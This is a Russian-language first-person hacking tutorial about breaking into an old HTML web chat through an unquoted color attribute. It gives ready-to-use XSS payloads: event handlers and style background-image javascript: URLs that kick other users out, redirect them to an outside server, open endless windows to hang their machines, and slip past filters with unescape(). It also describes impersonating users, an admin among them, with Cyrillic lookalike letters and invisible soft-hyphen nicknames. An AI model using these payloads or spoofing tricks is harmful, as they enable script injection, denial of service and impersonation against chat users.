Взлом чата
Приведу пример одного из первых взломанных мною чатов. Этот чат был очень
простым, и взламывался что называется с первого захода :)). Да и мало сейчас
осталось чатов, в которых это проходит. Хотя я додумался до этих методов сам, но
потом я их нашел и в хакерских журналах. Входная форма этого чата в точности
соответствовала форме, приведенной в главе "Общая теория". После преобразования
и сохранения формы на диске, я проверил какие символы в атрибуте цвета проходят.
Оказалось что проходят следующие символы (из тех что нас интересуют-см. гл
"Общая теория"):
'`=;%
пробел
Ну и конечно же проходили все цифры и буквы. Длинна строки-значения цвета не
ограничивалась. Далее я посмотрел куда именно вставляется цвет во фрейме
сообщений. Вот фрагмент этого фрейма:<font color=Black><b>Путник</b>- Alpha,
привет ))</font><br><font color= Red><b>Alpha</b>- Всемприветик !!</font><br>Как
видно, цвет вставляется без окружающих кавычек. Это меня устраивало. Я
залогинился под ником Algol (ну или почти под таким ником ;)) и цветом red size=20.
Мое сообщение выглядело следующим образом: <font color=red size=20><b>Algol</b>-
Hi</font><br>Оно выводилось очень крупным шрифтом, что немного удивило население
чата :)). Таким образом, несмотря на то, что непосредствено теги мы вставить не
можем, но разрешение на ввод пробела в атрибуте цвета, позволило нам задавать
несанкционированные параметры тега <font>. Однако мне этого было конечно мало.
Менять размер шрифта конечно классно, но действительно что-то полезное можно
сделать только используя скрипты. Вставить непосредственно тег script я не мог
(вернее в то время я еще не знал как это сделать). Но я мог задать обработчик на
какое-либо событие тега <font>. Вот какой цвет я задавал для того, что бы
удалить какого нибудь придурка из чата: #A0A000 onmouseover=parent.frames[2].forms[0].ExitChat.click()
size=30. И затем посылал ему длинное длинное сообщение в приват. Цвет сообщения
я подобрал таким образом, что бы оно не отличалось от фонового цвета. А размер
шрифта и длинна сообщения были такими огромными, что жертва наверняка хоть раз
прошлась мышкой по сообщению, в результате чего мой обработчик onmouseover
нажимал кнопочку "покинуть чат" вместо юзера :)).Однако, постепенно нашлись
умники, которые раскусили прикол, и намеренно не возили курсор по окну чата. Мой
скрипт срабатывал не всегда :((. Сначала я думал, что выхода нет. Поскольку я
могу вставлять скрипт только как обработчик события, тогда если это событие не
происходит, то и скрипт не срабатывает. Но, покопавшись в "анналах", я нашел
решение (сейчас оно уже стало тривиальным и широко известным). Оказалось, что в
атрибуте style можно указывать URL фонового рисунка для тега. А где можно
указывать URL, там можно записать и скрипт. А главное то, что фоновый рисунок
загружался сам, по окончании загрузки HTML документа! Если я хотел показать
алерт участникам чата, я логинился со следующим цветом:Red style=background-image:url(javascript:alert('приветик_всем_!!'))
Следует заметить важную деталь: поскольку структура большинства HTML чатов
такова, что страница регулярно обновляется, то скрипт посланный таким образом
выполняется не один раз, а много, до тех пор пока наше сообщение не исчезнет с
экрана.А вот как теперь выглядело значения атрибута цвета для выкидывания из
чата:Red style=background-image:url(javascript:parent.frames[2].forms[0].ExitChat.click())Нужно
помнить: скрипт посланный в привате, увидит не только ваш "собеседник", но и вы
сами, поэтому надо знать как самому защититься от влияния скрипта. Это можно
сделать двумя способами: либо поставить самого себя в игнор (и тогда мы не будем
видеть собственные сообщения), либо в настройках браузера запретить отображение
картинок. Тогда скрипт, срабатывающий через фоновый рисунок, работать не
будет.Теперь я хочу показать некотрые полезные скрипты, которые можно применять
во взломанных чатах:javascript:navigate('http://myserver.ru') - загружает в
текущий фрейм (или страницу) сайт myserver.ru. Некоторые чаты, при виде
фрагмента http:// считают это ссылкой, и автоматически вставляют тег <a>.
Поскольку это разрушит наш скрипт, то этого нельзя допускать. Для этого нужно
просто опустить префикс http: (который и так принимается по умолчанию). Тогда
скрипт будет выглядеть: javascript:navigate('//myserver.ru'). Два впереди идущих
слеша - обязательны.javascript:parent.frames[2].document.location= 'http://myserver.ru'
- загружает в один из фреймов сайт myserver.ru.javascript:for(;;)open() -
открывает бесконечное число окон (если вовремя не сориентироваться, то приводит
к зависанию машины и последующей перезагрузке).javascript:document.write('<script>alert()</script>')
- заменяет текущий фрейм скриптом, который затем выполняется. Примечание: если
чат не пропускает символы < и > (а это подавляющее число чатов) то такой скрипт
мы вставить не сможем. Но есть выход. Это применение функции unescape(), которая
преобразует ASCII-код символа в символ. Заменим угловые скобки на функцию
unescape() с соответсвующими кодами, тогда наш скрипт примет вид:
javascript:document.write(unescape('%3C')+'script'+unescape('%3E')+'alert()'+unescape('%3C')+'/script'+unescape('%3E'))
См. также на эту тему главу "Еще несколько взломов многострадального чата T"javascript:this.insertBefore(e=document.createElement('IMG'));e.src='demo.jpg'
- вставляет картинку после текста. Замечу, что в IE 5.x вставить можно любой тег
кроме FRAME, IFRAME и SELECT. Но в IE 4.x функция createElement() допускает
вставку только тегов IMG, AREA и OPTION . Информации насчет Netscape не имею,
можете поэкспериментировать сами.'javascript:st='Фиг вам';document.oncontextmenu=new
Function('event.returnValue=alert(st)*0')' - блокирует выпадающее меню страницы,
и следовательно делает недоступным просмотр HTML содержиме фрейма. Благодаря
этому можно скрывать свои махинации с телом чата :)).
Иногда бывает полезно логинится под чужим ником. Чаты с системой регистрации
юзеров не позволят вам это сделать, если вы не знаете пароля (а вы его скорее
всего и не знаете). Банальный выход : регистрация с ником в котором буква
латинского алфавита заменятеся на очень похожую букву русской раскладки.
Например логинимся под ником admin где латинская буква а заменена на русскую а.
Метод примитивный, но работает )). Бывают и более тяжелые случаи. Например в
некоторых чатах запрещено использование в одном нике символов из разных
раскладок. Тогда пытливому уму ничего не остается делать, как обратится к дяде
Гейтсу за помощью. И вот она доброта людская, Microsoft не забыл про грешных
юзеров и подарил нам символ ­(он же ­ он же %AD), который сама
микрософта назвала "Soft hyphen" ("Короткий дефис"). Он действительно в Word
выглядит как дефис, и в экселе тоже, и даже в блокноте, но только не в IE! Для
майкрософтовского эскплорера символа ­ просто не существует, то есть он как
бы есть, но для него забыли сделать графическое представление. Он просто
напросто не прорисовывается в HTML страничке! Смотрите сами. Таким образом,
добавив короткий дефис к любому нику и зарегестрировавшись под ним, мы входим в
чат с ником, который будет выглядеть на HTML странице точно так же как и ник без
дефиса. А можно сделать еще круче - залогиниться под ником, сотоящим только из
символов короткого дефиса. Тогда ваш ник вообще не будет отображаться в чате,
абсолютно пустое место)).
(Примечание: Повозившись еше немного с символом короткого дефиса я все же
обнаружил случаи, когда он появляется: Он появляется только как символ переноса.
То есть если внутри слова стоит короткий дефис и если это слово стоит в конце
строки, то часть слова после дефиса может быть перенесена на следующую строку, а
сам дефис становится видимым! Таким образом, возможно невидимость дефиса -
преднамеренная фича майкрософта (что впрочем не уменьшает его полезность при
взломах :)). Правда непонятно почему же он все-таки остается всегда видимым в
остальных приложениях?)